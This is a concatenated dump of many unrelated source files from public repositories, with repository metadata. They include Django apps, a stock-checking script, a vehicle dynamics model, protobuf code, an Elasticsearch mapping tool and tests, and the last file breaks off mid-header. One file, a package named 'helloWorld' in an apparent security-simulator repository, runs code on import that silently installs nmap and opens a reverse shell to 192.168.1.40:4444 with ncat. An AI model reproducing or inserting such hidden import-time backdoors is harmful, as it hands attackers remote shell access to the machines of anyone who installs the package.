7966153e9027e95b8401dc0ba4640a0ce6529db1 | 529 | py | Python | blog/entries/admin.py | ine-rmotr-projects/wdd-w2-custom-admin | ed445f251cd291b9698aebfe466785daf40c026e | [
"MIT"
] | null | null | null | blog/entries/admin.py | ine-rmotr-projects/wdd-w2-custom-admin | ed445f251cd291b9698aebfe466785daf40c026e | [
"MIT"
] | 3 | 2020-02-12T03:04:06.000Z | 2021-06-10T21:48:10.000Z | blog/entries/admin.py | ine-rmotr-projects/wdd-w2-custom-admin | ed445f251cd291b9698aebfe466785daf40c026e | [
"MIT"
] | null | null | null | from django.contrib import admin
from entries.models import Blog, Author, Entry
@admin.register(Blog)
class BlogAdmin(admin.ModelAdmin):
list_display = ('id', 'name')
search_fields = ('id', 'name')
@admin.register(Author)
class AuthorAdmin(admin.ModelAdmin):
list_display = ('id', 'name', 'email', 'natio... | 25.190476 | 75 | 0.6862 |
7966154b3ea4095060843c408bd408dee4113e27 | 1,378 | py | Python | Current Stock/currentStock.py | geodaftw/Fun-with-Python | 53bcc6f341806de185e205df5ce0d94a9c1ebb82 | [
"MIT"
] | null | null | null | Current Stock/currentStock.py | geodaftw/Fun-with-Python | 53bcc6f341806de185e205df5ce0d94a9c1ebb82 | [
"MIT"
] | null | null | null | Current Stock/currentStock.py | geodaftw/Fun-with-Python | 53bcc6f341806de185e205df5ce0d94a9c1ebb82 | [
"MIT"
] | null | null | null | #! python.3
# Check current stock
# Written by: Eric Guillen
# TODO: Type "Help" and get a list of common ones I like
import webbrowser, sys
import requests
import re
print("[+] Check the Stock")
print("[+] You normally like CERN, CTL")
print("[+] What Stock symbol are you wanting?")
symbol = input()
#webbrowser.o... | 31.318182 | 128 | 0.648041 |
7966162e2fd9c876510c8c8f69abfb7f7e8386db | 605 | py | Python | contrib/qt_translations.py | Exclusive-Masternode-Coin/EMC | 2fa492057a9ae50ef331bce47887d23f081e7e06 | [
"MIT"
] | 1 | 2018-05-26T04:43:16.000Z | 2018-05-26T04:43:16.000Z | contrib/qt_translations.py | Exclusive-Masternode-Coin/EMC | 2fa492057a9ae50ef331bce47887d23f081e7e06 | [
"MIT"
] | 1 | 2018-05-01T00:40:38.000Z | 2018-05-26T04:42:50.000Z | contrib/qt_translations.py | Exclusive-Masternode-Coin/EMC | 2fa492057a9ae50ef331bce47887d23f081e7e06 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Helpful little script that spits out a comma-separated list of
# language codes for Qt icons that should be included
# in binary transfer distributions
import glob
import os
import re
import sys
if len(sys.argv) != 3:
sys.exit("Usage: %s $QTDIR/translations $EMCDIR/src/qt/locale"%sys.argv[0... | 26.304348 | 100 | 0.676033 |
79661703776556567a6d8e28f50bb8a99aca9dfa | 2,901 | py | Python | class5/exercise2c.py | papri-entropy/pyplus | 9791fa6ee0b5414912594e20db0390f8a65c91fc | [
"MIT"
] | null | null | null | class5/exercise2c.py | papri-entropy/pyplus | 9791fa6ee0b5414912594e20db0390f8a65c91fc | [
"MIT"
] | null | null | null | class5/exercise2c.py | papri-entropy/pyplus | 9791fa6ee0b5414912594e20db0390f8a65c91fc | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
2b. Expand your Jinja2 template such that both the following interface and BGP configurations are generated for nxos1 and nxos2.
The interface name, IP address, netmask, local_as, and peer_ip should all be variables in the template.
This is iBGP so the remote_as will be the same as the loca... | 31.193548 | 129 | 0.695967 |
79661ad8aaf25ad3289395d65c73a58f0a2d6cca | 4,541 | py | Python | RandomScripts/convert_ToF_to_m2q.py | bcaplins/NIST_APT_TOOLS | 80c25498e8b069b8ee289a2d09c76c932c054cea | [
"Unlicense"
] | null | null | null | RandomScripts/convert_ToF_to_m2q.py | bcaplins/NIST_APT_TOOLS | 80c25498e8b069b8ee289a2d09c76c932c054cea | [
"Unlicense"
] | null | null | null | RandomScripts/convert_ToF_to_m2q.py | bcaplins/NIST_APT_TOOLS | 80c25498e8b069b8ee289a2d09c76c932c054cea | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
# Need to put the functions in the path
# Probably not necessary if I understood Python/Git/modules better
import os
import sys
parent_directory = os.getcwd().rsplit(sep='\\',maxsplit=1)[0]
if parent_directory not in sys.path:
sys.pat... | 38.483051 | 119 | 0.729355 |
79661b90fa441cb7f4bddb8459181af3480d29fe | 20,872 | py | Python | car_racing_simulator/VehicleModel.py | shatayu/copg | 830b654c8db7ec74f84ee8584e2215200cf8a68d | [
"MIT"
] | 16 | 2020-06-22T17:13:36.000Z | 2022-01-29T10:46:20.000Z | car_racing_simulator/VehicleModel.py | shatayu/copg | 830b654c8db7ec74f84ee8584e2215200cf8a68d | [
"MIT"
] | 2 | 2020-08-19T11:31:35.000Z | 2020-11-12T16:11:15.000Z | car_racing_simulator/VehicleModel.py | shatayu/copg | 830b654c8db7ec74f84ee8584e2215200cf8a68d | [
"MIT"
] | 7 | 2020-06-24T21:54:17.000Z | 2021-08-30T03:58:32.000Z | import torch
import car_racing_simulator.Track as Track
import numpy as np
import copy
class VehicleModel():
def __init__(self,n_batch,device,config):
self.device = device
self.track = Track.Track(config)
self.track_s = torch.from_numpy(self.track.s).type(torch.FloatTensor).to(self.devic... | 38.438306 | 154 | 0.532053 |
79661bb0f8358eae26658dd30e8aad961a40d328 | 3,599 | py | Python | django/map/map/settings.py | hammad93/hurricane-viz | 2578e846e32527281d9870eb8258e00d12489a82 | [
"MIT"
] | null | null | null | django/map/map/settings.py | hammad93/hurricane-viz | 2578e846e32527281d9870eb8258e00d12489a82 | [
"MIT"
] | null | null | null | django/map/map/settings.py | hammad93/hurricane-viz | 2578e846e32527281d9870eb8258e00d12489a82 | [
"MIT"
] | null | null | null | """
Django settings for map project.
Generated by 'django-admin startproject' using Django 3.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib impor... | 25.524823 | 91 | 0.687969 |
79661c95662637daa71a620a801458190d73c470 | 39 | py | Python | module_core/__init__.py | jeremyko/let-me-test | c227d8522c25108eb0b21f8aa36798ac0611eaaf | [
"MIT"
] | null | null | null | module_core/__init__.py | jeremyko/let-me-test | c227d8522c25108eb0b21f8aa36798ac0611eaaf | [
"MIT"
] | null | null | null | module_core/__init__.py | jeremyko/let-me-test | c227d8522c25108eb0b21f8aa36798ac0611eaaf | [
"MIT"
] | null | null | null | __all__ = ['lmt_exception','lmt_util']
| 19.5 | 38 | 0.717949 |
79661e5d95b767782c8e80b20a1f3218d1e27625 | 6,202 | py | Python | client/sdk/python/build/build_pb2.py | gofortwos/micro | fecc568b992c05dc3d97e8a1e807acabd281654e | [
"Linux-OpenIB"
] | 1 | 2021-01-03T15:22:20.000Z | 2021-01-03T15:22:20.000Z | client/sdk/python/build/build_pb2.py | gofortwos/micro | fecc568b992c05dc3d97e8a1e807acabd281654e | [
"Linux-OpenIB"
] | 2 | 2021-09-28T05:35:34.000Z | 2022-02-26T10:06:33.000Z | client/sdk/python/build/build_pb2.py | gofortwos/micro | fecc568b992c05dc3d97e8a1e807acabd281654e | [
"Linux-OpenIB"
] | 1 | 2020-11-04T05:32:49.000Z | 2020-11-04T05:32:49.000Z | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: build/build.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.pro... | 32.134715 | 509 | 0.74734 |
796621347b5f54d1289bda7418c459b72b2814d7 | 6,768 | py | Python | esfdw/mapping_to_schema.py | rtkwlf/esfdw | 09bd0929bd2c55c996d9dccd7e2b7506817284a7 | [
"MIT"
] | 18 | 2016-02-08T01:53:38.000Z | 2020-01-08T02:55:48.000Z | esfdw/mapping_to_schema.py | rtkwlf/esfdw | 09bd0929bd2c55c996d9dccd7e2b7506817284a7 | [
"MIT"
] | 3 | 2016-07-25T11:17:33.000Z | 2019-08-13T15:15:03.000Z | esfdw/mapping_to_schema.py | rtkwlf/esfdw | 09bd0929bd2c55c996d9dccd7e2b7506817284a7 | [
"MIT"
] | 12 | 2016-04-12T14:57:00.000Z | 2019-08-16T10:08:20.000Z | from __future__ import print_function
import argparse
from collections import namedtuple
import copy
import json
import sys
ColumnSpec = namedtuple('ColumnSpec', 'column_name data_type')
TableSpec = namedtuple('TableSpec', 'name columns doc_type index')
# Separator for name components of nested objects, used to const... | 38.022472 | 127 | 0.680703 |
79662248cb696e1a460a4aba467422da7eb8fde3 | 98 | py | Python | output/models/ms_data/element/elem_u003_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 1 | 2021-08-14T17:59:21.000Z | 2021-08-14T17:59:21.000Z | output/models/ms_data/element/elem_u003_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 4 | 2020-02-12T21:30:44.000Z | 2020-04-15T20:06:46.000Z | output/models/ms_data/element/elem_u003_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | null | null | null | from output.models.ms_data.element.elem_u003_xsd.elem_u003 import Root
__all__ = [
"Root",
]
| 16.333333 | 70 | 0.744898 |
796622cecdb63718f3d9fe1c7cbf28fc673959b6 | 847 | py | Python | Django/main/hometask/urls.py | seven320/metamon_code | 48b3acde55f5ef2d062586a3c8fc792d8b4a4025 | [
"MIT"
] | 13 | 2020-01-22T12:09:10.000Z | 2021-05-26T16:03:36.000Z | Django/main/hometask/urls.py | seven320/metamon_code | 48b3acde55f5ef2d062586a3c8fc792d8b4a4025 | [
"MIT"
] | 15 | 2020-01-20T18:46:31.000Z | 2021-12-12T11:27:35.000Z | Django/main/hometask/urls.py | seven320/metamon_code | 48b3acde55f5ef2d062586a3c8fc792d8b4a4025 | [
"MIT"
] | 2 | 2020-01-17T14:59:14.000Z | 2020-04-12T12:13:25.000Z | """hometask URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-base... | 32.576923 | 77 | 0.710744 |
796622e37920576ca3abb1824b9af73e351ca351 | 4,868 | py | Python | _plotly_utils/tests/validators/test_integer_validator.py | omridanan/plotly.py | a8d26670cba49ce15ce9b7639ae0f55a6088a825 | [
"MIT"
] | null | null | null | _plotly_utils/tests/validators/test_integer_validator.py | omridanan/plotly.py | a8d26670cba49ce15ce9b7639ae0f55a6088a825 | [
"MIT"
] | null | null | null | _plotly_utils/tests/validators/test_integer_validator.py | omridanan/plotly.py | a8d26670cba49ce15ce9b7639ae0f55a6088a825 | [
"MIT"
] | null | null | null | # Array not ok
# ------------
import pytest
from pytest import approx
from _plotly_utils.basevalidators import IntegerValidator
import numpy as np
# ### Fixtures ###
@pytest.fixture()
def validator():
return IntegerValidator('prop', 'parent')
@pytest.fixture
def validator_min_max():
return IntegerValidator(... | 31.61039 | 105 | 0.627157 |
796623726b8cc6e74083a2f40aafa5c4de76e4e8 | 2,721 | py | Python | auth_record/models/login_record.py | shafikshaon/daybook | cff3ebc636741e8424d1c078c9811db664675a8a | [
"MIT"
] | null | null | null | auth_record/models/login_record.py | shafikshaon/daybook | cff3ebc636741e8424d1c078c9811db664675a8a | [
"MIT"
] | null | null | null | auth_record/models/login_record.py | shafikshaon/daybook | cff3ebc636741e8424d1c078c9811db664675a8a | [
"MIT"
] | null | null | null | from django.db import models
from gist import httpagentparser
class LogRecord(models.Model):
username = models.CharField(max_length=255, null=True, blank=True)
ip_address = models.CharField(max_length=40, null=True, blank=True, verbose_name="IP")
os = models.CharField(max_length=40, null=True, blank=True... | 35.337662 | 104 | 0.644616 |
7966237ff861195ec05b9c119330317d23fe8712 | 4,061 | py | Python | src/sage/categories/simplicial_complexes.py | hsm207/sage | 020bd59ec28717bfab9af44d2231c53da1ff99f1 | [
"BSL-1.0"
] | 1,742 | 2015-01-04T07:06:13.000Z | 2022-03-30T11:32:52.000Z | src/sage/categories/simplicial_complexes.py | hsm207/sage | 020bd59ec28717bfab9af44d2231c53da1ff99f1 | [
"BSL-1.0"
] | 66 | 2015-03-19T19:17:24.000Z | 2022-03-16T11:59:30.000Z | src/sage/categories/simplicial_complexes.py | dimpase/sage | 468f23815ade42a2192b0a9cd378de8fdc594dcd | [
"BSL-1.0"
] | 495 | 2015-01-10T10:23:18.000Z | 2022-03-24T22:06:11.000Z | """
Simplicial Complexes
"""
#*****************************************************************************
# Copyright (C) 2015 Travis Scrimshaw <tscrim at ucdavis.edu>
#
# Distributed under the terms of the GNU General Public License (GPL)
# http://www.gnu.org/licenses/
#***************************... | 30.30597 | 90 | 0.536321 |
796623b32a3d6c01bcd8534510a1afb9d61e7ce0 | 604 | py | Python | Python/3_Strings/String_Validators/main.py | christosg88/hackerrank | 21bc44aac842325ad0a48265658f7674984aeff2 | [
"MIT"
] | null | null | null | Python/3_Strings/String_Validators/main.py | christosg88/hackerrank | 21bc44aac842325ad0a48265658f7674984aeff2 | [
"MIT"
] | null | null | null | Python/3_Strings/String_Validators/main.py | christosg88/hackerrank | 21bc44aac842325ad0a48265658f7674984aeff2 | [
"MIT"
] | null | null | null | from string import punctuation
if __name__ == '__main__':
s = input()
s = s.translate(str.maketrans('', '', punctuation + ' '))
contains_letters_or_numbers = s.isalnum()
contains_letters = contains_letters_or_numbers and not s.isdigit()
contains_numbers = contains_letters_or_numbers and not s.isal... | 33.555556 | 70 | 0.731788 |
796623c2e8f62809128f96f806741c28438964c0 | 4,871 | py | Python | pnc_cli/environments.py | thauser/pnc-cli | cf9a1ce236c3de9ec6c393816e3c75db2f75bc33 | [
"Apache-2.0"
] | null | null | null | pnc_cli/environments.py | thauser/pnc-cli | cf9a1ce236c3de9ec6c393816e3c75db2f75bc33 | [
"Apache-2.0"
] | 3 | 2015-06-01T22:12:27.000Z | 2015-10-11T16:20:11.000Z | pnc_cli/environments.py | thauser/pnc-cli | cf9a1ce236c3de9ec6c393816e3c75db2f75bc33 | [
"Apache-2.0"
] | 5 | 2015-05-28T18:14:36.000Z | 2018-07-20T07:38:21.000Z | import argparse
from argh import arg
from six import iteritems
import pnc_cli.cli_types as types
import pnc_cli.common as common
import pnc_cli.user_config as uc
import pnc_cli.utils as utils
from pnc_cli.swagger_client import BuildEnvironmentRest
from pnc_cli.swagger_client import EnvironmentsApi
envs_api = Environ... | 40.591667 | 118 | 0.724287 |
79662680e820cf9445a1b8f957c83ffc44542417 | 2,047 | py | Python | tests/custom_cluster/test_metastore_events_cleanup.py | Keendata/impala | b25e250d321f329b98e017c648df75d052497963 | [
"Apache-2.0"
] | 1 | 2022-01-18T11:52:43.000Z | 2022-01-18T11:52:43.000Z | tests/custom_cluster/test_metastore_events_cleanup.py | xwzbupt/impala | 97dda2b27da99367f4d07699aa046b16cda16dd4 | [
"Apache-2.0"
] | null | null | null | tests/custom_cluster/test_metastore_events_cleanup.py | xwzbupt/impala | 97dda2b27da99367f4d07699aa046b16cda16dd4 | [
"Apache-2.0"
] | null | null | null | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 45.488889 | 90 | 0.691255 |
7966284a5c098557f62e93fe21ed83d8eb5ec903 | 10,525 | py | Python | data_loader.py | itouchz/Mr.TAD | da81bca9d6e98509046618f2417b69a28a424ecf | [
"MIT"
] | null | null | null | data_loader.py | itouchz/Mr.TAD | da81bca9d6e98509046618f2417b69a28a424ecf | [
"MIT"
] | 1 | 2021-08-20T07:25:58.000Z | 2021-08-20T07:25:58.000Z | data_loader.py | itouchz/Mr.TAD | da81bca9d6e98509046618f2417b69a28a424ecf | [
"MIT"
] | 1 | 2021-08-18T09:46:32.000Z | 2021-08-18T09:46:32.000Z | # Dataset Loader
# Univariate Datasets: KDD Cup'21 UCR, Yahoo S5, Power-demand
# Multivariate Datasets: NASA, ECG, 2D Gesture, SMD
import os
import numpy as np
import pandas as pd
from sklearn.preprocessing import StandardScaler, MinMaxScaler
from tqdm.notebook import tqdm
TIME_STEPS = 6
# Generated training sequen... | 41.113281 | 135 | 0.640665 |
796628531045e36dc8bd6262dfd68e97411eee01 | 18,473 | py | Python | contrib/opencensus-ext-ocagent/tests/test_stats_exporter.py | Flared/opencensus-python | e2535e688a50c7a06be8af93ca3b987d387da605 | [
"Apache-2.0"
] | 650 | 2017-07-09T02:08:10.000Z | 2022-03-22T20:39:54.000Z | contrib/opencensus-ext-ocagent/tests/test_stats_exporter.py | Flared/opencensus-python | e2535e688a50c7a06be8af93ca3b987d387da605 | [
"Apache-2.0"
] | 735 | 2017-07-26T01:15:16.000Z | 2022-03-29T20:17:20.000Z | contrib/opencensus-ext-ocagent/tests/test_stats_exporter.py | Flared/opencensus-python | e2535e688a50c7a06be8af93ca3b987d387da605 | [
"Apache-2.0"
] | 256 | 2017-07-24T18:29:15.000Z | 2022-03-15T15:33:03.000Z | # Copyright 2018, OpenCensus Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | 38.808824 | 79 | 0.621772 |
7966289936ce9996aa609666bf71f86975ec8c30 | 340 | py | Python | pirates/teleport/PlayerAreaTeleportActorAI.py | Willy5s/Pirates-Online-Rewritten | 7434cf98d9b7c837d57c181e5dabd02ddf98acb7 | [
"BSD-3-Clause"
] | 81 | 2018-04-08T18:14:24.000Z | 2022-01-11T07:22:15.000Z | pirates/teleport/PlayerAreaTeleportActorAI.py | Willy5s/Pirates-Online-Rewritten | 7434cf98d9b7c837d57c181e5dabd02ddf98acb7 | [
"BSD-3-Clause"
] | 4 | 2018-09-13T20:41:22.000Z | 2022-01-08T06:57:00.000Z | pirates/teleport/PlayerAreaTeleportActorAI.py | Willy5s/Pirates-Online-Rewritten | 7434cf98d9b7c837d57c181e5dabd02ddf98acb7 | [
"BSD-3-Clause"
] | 26 | 2018-05-26T12:49:27.000Z | 2021-09-11T09:11:59.000Z | from direct.distributed.DistributedObjectAI import DistributedObjectAI
from direct.directnotify import DirectNotifyGlobal
class PlayerAreaTeleportActorAI(DistributedObjectAI):
notify = DirectNotifyGlobal.directNotify.newCategory('PlayerAreaTeleportActorAI')
def __init__(self, air):
DistributedObjectAI... | 42.5 | 85 | 0.835294 |
796629a5fa1fd27092f336ded6ff3060ca8aabc9 | 2,177 | py | Python | scrapy/commands/queue.py | chongiadung/choinho | d2a216fe7a5064d73cdee3e928a7beef7f511fd1 | [
"MIT"
] | null | null | null | scrapy/commands/queue.py | chongiadung/choinho | d2a216fe7a5064d73cdee3e928a7beef7f511fd1 | [
"MIT"
] | 10 | 2020-02-11T23:34:28.000Z | 2022-03-11T23:16:12.000Z | scrapy/commands/queue.py | chongiadung/choinho | d2a216fe7a5064d73cdee3e928a7beef7f511fd1 | [
"MIT"
] | 3 | 2018-08-05T14:54:25.000Z | 2021-06-07T01:49:59.000Z | from twisted.internet import reactor, threads
from scrapy.commands import ScrapyCommand
from scrapy.commands import runserver
from scrapy.exceptions import UsageError
from scrapy.utils.conf import arglist_to_dict
class Command(runserver.Command):
requires_project = True
default_settings = {'LOG_LEVEL': 'WARN... | 31.550725 | 86 | 0.598071 |
79662b719e2dbb1108f68676a48460a536ff08e7 | 2,342 | py | Python | selfdrive/controls/tests/test_events.py | Thaixican/openpilot | 95e1dec8b8c1a7fa232ec080281b83e92c798e82 | [
"MIT"
] | 2 | 2019-07-07T19:34:44.000Z | 2020-05-22T01:40:24.000Z | selfdrive/controls/tests/test_events.py | Moshiach770/openpilot | b8571710e09e58b9e67170a9924eef79f32c480b | [
"MIT"
] | null | null | null | selfdrive/controls/tests/test_events.py | Moshiach770/openpilot | b8571710e09e58b9e67170a9924eef79f32c480b | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import os
import unittest
from PIL import Image, ImageDraw, ImageFont
from cereal import log, car
from common.basedir import BASEDIR
from selfdrive.controls.lib.events import Alert, EVENTS
AlertSize = log.ControlsState.AlertSize
class TestAlerts(unittest.TestCase):
def test_events_defined(s... | 36.59375 | 91 | 0.693424 |
79662bfc8d9b4d2bf3298dc0eb11cad13887f683 | 3,136 | py | Python | src/moduleBase.py | Tehnix/PyIRCb | cf8382dd394547f7fbd14871e83d5bc503ebf497 | [
"BSD-3-Clause"
] | 1 | 2018-09-21T18:46:31.000Z | 2018-09-21T18:46:31.000Z | src/moduleBase.py | Tehnix/PyIRCb | cf8382dd394547f7fbd14871e83d5bc503ebf497 | [
"BSD-3-Clause"
] | null | null | null | src/moduleBase.py | Tehnix/PyIRCb | cf8382dd394547f7fbd14871e83d5bc503ebf497 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
User module. Implements a full authentication system, and project
tracking.
"""
import sys
import time
import src.utilities as util
from src.database import Database
class ModuleBase(object):
def __init__(self, cmdHandler, cmdArgs=None, authRequired=None):... | 32.329897 | 168 | 0.607462 |
79662cf3cc2e6f7a4803294037d958a79da7fa46 | 1,028 | py | Python | day2/YAY-list-comprhesions.py | liamwarfield/advent-of-code2019 | 936abf002901b5f0f4d4eb1d5bcb465aeaffe2ef | [
"Apache-2.0"
] | null | null | null | day2/YAY-list-comprhesions.py | liamwarfield/advent-of-code2019 | 936abf002901b5f0f4d4eb1d5bcb465aeaffe2ef | [
"Apache-2.0"
] | null | null | null | day2/YAY-list-comprhesions.py | liamwarfield/advent-of-code2019 | 936abf002901b5f0f4d4eb1d5bcb465aeaffe2ef | [
"Apache-2.0"
] | null | null | null | def create_main_mem():
main_mem = {}
try:
f = open("input.txt")
except FileNotFoundError:
print("Could not find an input file")
f.close()
quit(-1)
main_mem = [int(x) for x in f.readline().split(",")] # Yay
f.close()
return main_mem
def run_program(mem):
tape_... | 24.47619 | 84 | 0.535992 |
79662d62a8152ba8c76abb784ff27646e7d9586a | 3,074 | py | Python | pype/plugins/nuke/publish/extract_render_local.py | kalisp/pype | 28bbffaf2d12ccee48313cd9985e8dfa05e81a5c | [
"MIT"
] | null | null | null | pype/plugins/nuke/publish/extract_render_local.py | kalisp/pype | 28bbffaf2d12ccee48313cd9985e8dfa05e81a5c | [
"MIT"
] | null | null | null | pype/plugins/nuke/publish/extract_render_local.py | kalisp/pype | 28bbffaf2d12ccee48313cd9985e8dfa05e81a5c | [
"MIT"
] | null | null | null | import pyblish.api
import nuke
import os
import pype
import clique
class NukeRenderLocal(pype.api.Extractor):
# TODO: rewrite docstring to nuke
"""Render the current Fusion composition locally.
Extract the result of savers by starting a comp render
This will run the local render of Fusion.
"""
... | 29.557692 | 77 | 0.585882 |
79662d80c78583cd270a7811e42d29f7182313b5 | 606 | py | Python | django_prometheus/tests/end2end/testapp/urls.py | GamePad64/django-prometheus | 7c7160d36e952c0c8c02ae352002bac83b86dd72 | [
"Apache-2.0"
] | null | null | null | django_prometheus/tests/end2end/testapp/urls.py | GamePad64/django-prometheus | 7c7160d36e952c0c8c02ae352002bac83b86dd72 | [
"Apache-2.0"
] | null | null | null | django_prometheus/tests/end2end/testapp/urls.py | GamePad64/django-prometheus | 7c7160d36e952c0c8c02ae352002bac83b86dd72 | [
"Apache-2.0"
] | null | null | null | import django
from django.conf.urls import include, url
from django.contrib import admin
from testapp import views
if django.VERSION >= (1, 9, 0):
admin_urls = admin.site.urls
else:
admin_urls = include(admin.site.urls)
urlpatterns = [
url(r'^$', views.index),
url(r'^help$', views.help),
url(r'^s... | 26.347826 | 65 | 0.635314 |
79662d987d352ffe373052c23791d62c600ebeca | 5,954 | py | Python | 6_remove-short-wr.py | dmuehlemann/RPGV | 18b4216e6cedce40a020a57e1822a363a8a6b60c | [
"MIT"
] | null | null | null | 6_remove-short-wr.py | dmuehlemann/RPGV | 18b4216e6cedce40a020a57e1822a363a8a6b60c | [
"MIT"
] | 2 | 2021-12-14T11:54:18.000Z | 2021-12-15T10:03:37.000Z | 6_remove-short-wr.py | dmuehlemann/RPGV | 18b4216e6cedce40a020a57e1822a363a8a6b60c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Wed Sep 9 15:19:48 2020
@author: Dirk
Check duration of weather regime
"""
from pathlib import Path
import xarray as xr
######################Load Datasets#################
data_folder = Path("../data/")
file_wr = data_folder / 'wr_time-c7_std_30days_lowpass_2_0-1.nc... | 38.915033 | 439 | 0.532247 |
79662dfebfc4d3b45fa5c9225f73eb241645f17c | 8,781 | py | Python | case_conversion/converter.py | AlejandroFrias/case-conversion | a62128c14691e87865435ae56c15119f38de65c5 | [
"MIT"
] | 18 | 2016-05-03T19:33:05.000Z | 2022-03-25T14:37:14.000Z | case_conversion/converter.py | AlejandroFrias/case-conversion | a62128c14691e87865435ae56c15119f38de65c5 | [
"MIT"
] | 21 | 2016-12-13T10:30:52.000Z | 2021-05-13T15:32:35.000Z | case_conversion/converter.py | AlejandroFrias/case-conversion | a62128c14691e87865435ae56c15119f38de65c5 | [
"MIT"
] | 7 | 2016-07-24T13:14:51.000Z | 2022-02-06T12:39:36.000Z | from typing import List, Optional
from .parser import parse_case
def camel(text: str, acronyms: Optional[List[str]] = None) -> str:
"""Return text in camelCase style.
Args:
text (str): Input string to be converted
acronyms (optional, list of str): List of acronyms to honor
Returns:
... | 26.609091 | 75 | 0.61075 |
79662eed395551eb02997632647af2b01cb021c8 | 4,796 | py | Python | sdk/python/pulumi_azure/compute/get_shared_image.py | stack72/pulumi-azure | 18245b4e74abbd3f768f9eda67adb1df609ff32e | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure/compute/get_shared_image.py | stack72/pulumi-azure | 18245b4e74abbd3f768f9eda67adb1df609ff32e | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure/compute/get_shared_image.py | stack72/pulumi-azure | 18245b4e74abbd3f768f9eda67adb1df609ff32e | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from .. import utilities, tables
class GetSharedImageResult:
"""
... | 45.245283 | 253 | 0.666389 |
7966303120dca126e3b714412606973407cd8f30 | 97 | py | Python | pip_lib/helloWorld/helloWorld/__init__.py | silicom-hub/IS_simulator | 4d134a8051c3604a94c2552503ff24015a3e86ee | [
"MIT"
] | 4 | 2021-11-24T10:58:51.000Z | 2022-03-11T15:13:22.000Z | pip_lib/helloWorld/helloWorld/__init__.py | silicom-hub/IS_simulator | 4d134a8051c3604a94c2552503ff24015a3e86ee | [
"MIT"
] | 1 | 2021-11-24T09:16:08.000Z | 2021-11-30T16:19:41.000Z | pip_lib/helloWorld/helloWorld/__init__.py | silicom-hub/IS_simulator | 4d134a8051c3604a94c2552503ff24015a3e86ee | [
"MIT"
] | 1 | 2021-11-24T11:10:38.000Z | 2021-11-24T11:10:38.000Z | import os
os.system("apt-get install -y nmap")
os.system("ncat 192.168.1.40 4444 -e /bin/bash")
| 19.4 | 48 | 0.690722 |
7966309b4d468b7043a50e576f7e89b005938212 | 1,148 | py | Python | ejercicios/expresion_nombre_edad.py | carlosviveros/Soluciones | 115f4fa929c7854ca497e4c994352adc64565456 | [
"MIT"
] | 4 | 2021-12-14T23:51:25.000Z | 2022-03-24T11:14:00.000Z | ejercicios/expresion_nombre_edad.py | leugimkm/Soluciones | d71601c8d9b5e86e926f48d9e49462af8a956b6d | [
"MIT"
] | null | null | null | ejercicios/expresion_nombre_edad.py | leugimkm/Soluciones | d71601c8d9b5e86e926f48d9e49462af8a956b6d | [
"MIT"
] | 5 | 2021-11-10T06:49:50.000Z | 2022-03-24T01:42:28.000Z | """AyudaEnPython: https://www.facebook.com/groups/ayudapython
# ------------------------- Enunciado Original ------------------------
A partir de 2 variables NOMBRE y EDAD crear una variable que se llame
EXPRESION que cumpla con todas las siguientes condiciones:
1.- Que NOMBRE sea diferente de cuatro asteriscos
2.- Qu... | 37.032258 | 72 | 0.576655 |
796630ae9d69f52ce03f148f1e97d29e4fffea09 | 5,402 | py | Python | real_estate_agency/resale/forms.py | Dybov/real_estate_agency | a4392b18c5169ff89c3c7b63afe017f6ede0b431 | [
"MIT"
] | 1 | 2017-09-24T18:53:59.000Z | 2017-09-24T18:53:59.000Z | real_estate_agency/resale/forms.py | Dybov/real_estate_agency | a4392b18c5169ff89c3c7b63afe017f6ede0b431 | [
"MIT"
] | null | null | null | real_estate_agency/resale/forms.py | Dybov/real_estate_agency | a4392b18c5169ff89c3c7b63afe017f6ede0b431 | [
"MIT"
] | null | null | null | from datetime import date
from django.core.exceptions import ValidationError
from django.forms import (
ModelForm,
NumberInput,
DateField,
ModelChoiceField,
Select,
IntegerField,
)
from django.forms.widgets import ClearableFileInput
from django.core.validators import MinValueValidator, MaxValue... | 33.974843 | 79 | 0.646983 |
796630baaf7141cb2e6c11d0f584ef5bb5383fd5 | 3,988 | py | Python | tests/test_thermo.py | rkingsbury/api | 14d82c44fe911de19555f6f434d9dfb37bbc0c6f | [
"BSD-3-Clause-LBNL"
] | null | null | null | tests/test_thermo.py | rkingsbury/api | 14d82c44fe911de19555f6f434d9dfb37bbc0c6f | [
"BSD-3-Clause-LBNL"
